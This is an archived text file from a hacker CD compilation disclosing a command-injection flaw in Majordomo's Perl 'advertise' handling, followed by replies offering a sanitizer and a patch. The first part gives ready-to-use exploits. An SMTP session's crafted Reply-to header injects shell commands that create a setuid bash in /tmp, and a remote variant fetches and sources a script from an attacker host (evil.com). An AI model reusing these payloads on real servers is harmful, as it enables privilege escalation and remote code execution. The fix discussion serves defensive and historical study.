home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / majordomo.txt < prev    next >
Text File  |  2001-11-06  |  7KB  |  162 lines

  1.  
  2. I have discovered a vulnerablility in "majordomo" that allows local and
  3. remote users to execute commands with the rights of the user running the server. This user is usually in the daemon group, so this can be quite harmful.
  4.  
  5. Still, there is a condition for the exploit to work. The server should
  6. have at least one list that uses the "advertise" or "noadvertise"
  7. directives in the configuration files. These directives indicate if the
  8. list should (or should not) be included in a reply to a "LISTS" command
  9. depending on the address the request came from. The exploit also works if
  10. the server has one or more "hidden" lists (see the Majordomo documentation
  11. for details).
  12.  
  13. Here's a piece of the configuration file:
  14.  
  15. -- lrazvan.config --
  16.  
  17.         # advertise            [regexp_array] (undef) <majordomo>
  18.         # If the requestor email address matches one of these regexps, then
  19.         # the list will be listed in the output of a lists command. Failure
  20.         # to match any regexp excludes the list from the output. The
  21.         # regexps under noadvertise override these regexps.
  22. advertise           <<  END
  23. /.*/
  24. END
  25. -- end lrazvan.config --
  26.  
  27. The one above tells majordomo to include this list in any "LISTS" request.
  28.  
  29. The problem is that when the server finds a list that has one of these
  30. attributes ("advertise" or "noadvertise"), it will try to match the
  31. reply-to address against these patterns. It uses an "eval" command to do this.
  32.  
  33. Let's take a look at the PERL source (the do_lists procedure):
  34.  
  35. -- majordomo --
  36. foreach $i (@array) {
  37.                       $command = "(q~$reply_addr~ =~ $i)";
  38.                       $result = 1, last if (eval $command);
  39.                    }
  40.  
  41. -- end majordomo --
  42.  
  43. $reply_addr is the result of some paranoid validation. It cannot contain
  44. <,>,[,],-,+,(,),; etc..
  45. But with a few tricks, this won't be a problem :).
  46.  
  47. Now, for the exploits. There a two of them, one for the local users who
  48. just want a setuid shell (with the rights of the server owner, usually
  49. majordomo.daemon), and one for the remote users who might want to copy
  50. some files or execute commands remotely (the old "mail foo@foo.net <
  51. /etc/passwd" won't work, it contains '<' ...).
  52.  
  53. Local exploit:
  54. --exploit--
  55. telnet localhost 25
  56.  
  57. helo localhost
  58. mail from: user
  59. rcpt to: majordomo (or whatever the name of the majordomo user is)
  60. data
  61. From: user
  62. To: majordomo
  63. Reply-to: a~.`/bin/cp\${IFS}/bin/bash\${IFS}/tmp/lord&&/bin/chmod\${IFS}4777\${IFS}/tmp/lord`.q~a/ad=cucu/c=blu\\\@kappa.ro
  64.  
  65. LISTS
  66. .
  67. quit
  68. --end of exploit --
  69.  
  70. The "Reply-to" field does all the hard work. I think it needs some explaining. First, we use $IFS instead of spaces (guess why...), and '&&' instead of ';'. The '&&' operator does in bash the same thing it does in perl. "a&&b" means "execute a and if succ
  71. essful execute b". The address is composed in such a way that it passes the tests majordomo uses (it considers it as a X400 address). So don't change anything in there (of course, you can change the commands, but not the syntax). The exploit will copy /bi
  72. n/bash as /tmp/lord and change permissions for it to 4777 (setuid + rwx for everyone).
  73.  
  74. For the remote users, change the Reply-to field to something like:
  75.  
  76. Reply-to: a~.`/usr/bin/rcp\${IFS}user@evil.com:script\${IFS}/tmp/script&&source\${IFS}/tmp/script`.q~a/ad=cucu/c=blu\\\@kappa.ro
  77.  
  78. Make sure user@evil.com can connect from the remote site. evil.com is your
  79. site.
  80. You will have to edit the "script" file in your home directory and make it
  81. do eveverything you want (you can now use all those "forbidden characters").
  82.  
  83. I am too tired to find a fix for this right now. Some more validation
  84. might help.
  85. I have tested this on Majordomo version 1.94.3. Other versions could be
  86. vulnerable.
  87.  
  88.  
  89.  
  90. -------------------------------------------------------------------------------------------------------------
  91.  
  92.  
  93. Although I know little of the internals of majordomo, this is a standard
  94. validation problem just like the slew of CGI vulnerabilities that
  95. recirculated about 6 months ago. This has probably been said a million times
  96. before, but as these vulnerabilities seem to keep re-appearing maybe its
  97. worth saying again.
  98.  
  99. By far the safest way of doing any sort of validation is to provide a list
  100. of the safe characters, and not permit anything else. The perl to implement
  101. such a scheme is remarkably simple:
  102.  
  103.   $reply_addr =~ s/[^\w\.@-]//g;
  104.  
  105. This will remove all characters which are not alphanumeric, a period, an at
  106. symbol or a hyphen. Of course, you may like to include a small piece of code
  107. which saves insecure strings in a file somewhere, along with the sender.
  108.  
  109.  
  110. -------------------------------------------------------------------------------------------------------------
  111.  
  112.  
  113. This should fix the problem in a fairly straightforward manner:
  114.  
  115. --- majordomo-pre-list-fix      Tue Aug 26 14:11:07 1997
  116. +++ majordomo   Tue Aug 26 15:06:52 1997
  117. @@ -1374,7 +1374,7 @@
  118.                 if ($'config_opts{$list, 'advertise'} ne '') {
  119.                    @array = split(/\001/,$'config_opts{$list,
  120. 'advertise'});
  121.                    foreach $i (@array) {
  122. -                     $command = "(q~$reply_addr~ =~ $i)";
  123. +                     $command = '($reply_addr'." =~ $i)";
  124.                       $result = 1, last if (eval $command);
  125.                    }
  126.                  } else { $result = 1; }
  127. @@ -1384,7 +1384,7 @@
  128.                    @array = split(/\001/,$'config_opts{$list,
  129. 'noadvertise'});
  130.  
  131.                    foreach $i (@array) {
  132. -                     $command = "(q~$reply_addr~ =~ $i)";
  133. +                     $command = '($reply_addr'." =~ $i)";
  134.                       $result = 0, last if (eval $command);
  135.                     }
  136.                 }
  137.  
  138. ------------------------------------------------------------------------------------------------------------
  139.  
  140.  
  141. > By far the safest way of doing any sort of validation is to
  142. > provide a list of the safe characters, and not permit anything
  143. > else. The perl to implement such a scheme is remarkably simple:
  144.  
  145. >   $reply_addr =~ s/[^\w\.@-]//g;
  146.  
  147. > This will remove all characters which are not alphanumeric, a
  148. > period, an at symbol or a hyphen. Of course, you may like to
  149. > include a small piece of code which saves insecure strings in a
  150. > file somewhere, along with the sender.
  151.  
  152. No.  The *very* safest way is "Don't let data anywhere near a shell!"
  153. The CGI FAQ tells how to do this stuff right.  So does the Perl FAQ
  154. (which now ships *with* Perl as part of the distribution).  So does
  155. the (new) Camel book.
  156.  
  157. There's no excuse for letting data of any kind get anywhere near a
  158. shell line.  Ugh.  Especially with the ultra-flexible Perl constructs.
  159.  
  160.  
  161. -----------------------------------------------------------------------------------------------------------
  162.